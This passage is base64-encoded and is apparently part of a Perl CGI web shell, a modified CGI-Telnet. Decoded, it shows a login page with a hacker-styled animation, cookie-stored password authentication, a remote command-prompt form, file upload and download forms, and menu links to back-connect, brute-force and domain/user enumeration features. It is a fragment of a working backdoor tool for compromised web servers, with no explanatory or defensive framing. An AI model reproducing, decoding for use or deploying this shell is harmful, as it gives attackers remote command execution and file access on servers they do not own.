TY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2